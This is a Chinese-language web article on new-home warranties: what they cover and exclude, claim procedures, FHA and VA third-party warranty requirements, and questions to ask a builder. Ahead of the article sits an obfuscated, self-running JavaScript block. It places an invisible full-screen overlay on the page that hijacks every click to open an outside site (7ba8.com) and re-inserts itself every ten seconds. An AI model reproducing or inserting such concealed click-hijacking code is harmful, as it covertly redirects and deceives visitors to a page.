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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>购买新建房屋的买家会考虑购买房屋保修（homewarranties）。有些房屋保修是由建筑商来承担，而有些则是建筑商从承担索赔责任的第三方公司购买。房主还可以在此基础上从第三方保险公司够买，来对建筑商提供的保修范围进行补充。 美国联邦住房管理局（FHA）和退伍军人事务部（VA）都要求建筑商购买第三方保修，为使用 FHA 或 VA 贷款的新房买家提供保障。 房屋保修的关键在于明确保修覆盖哪些项目、如何索赔以及如何处理同建筑商或承保公司之间发生的纠纷。 新建房屋的保修项目对房屋的做工和建材提供的保修范围非常有限，比如窗户、外墙（siding）、门、屋顶或管道、电气和暖通空调（HVAC）系统。一般的房屋保修有效期为一到两年，房屋的具体部件适用的保修期有所差异；主要结构的保修期最长可以达到 10 年。保修条约中也会对如何完成保修以及负责人（或公司）做出规定。 保修条约一般不涵盖家电故障、瓷砖或石膏板裂缝、灌溉系统以及生产商保修覆盖的其他房屋部件。另外，保修条约大多也不包含由于进行保修带来的额外费用，如维修期间的物品储存费用。 在你完成新房的结算手续之前，你应该向你的建筑商或第三方承保公司确认以下问题： 1.保修项目包括哪些？不包括哪些？ 2.如果需要索赔，流程和时限是怎样的？ 3.承保方拒绝索赔时，作为房主的你是否可以提出异议？ 4.承保方担责的范围如何（例如修复到何种程度）？ 5.承保方是否能推荐合作过的其他新房买家，方便你咨询保修事宜和经验？ 6.承保方之前做过的保修房屋地址在哪里，以便你向这些房主咨询？ |
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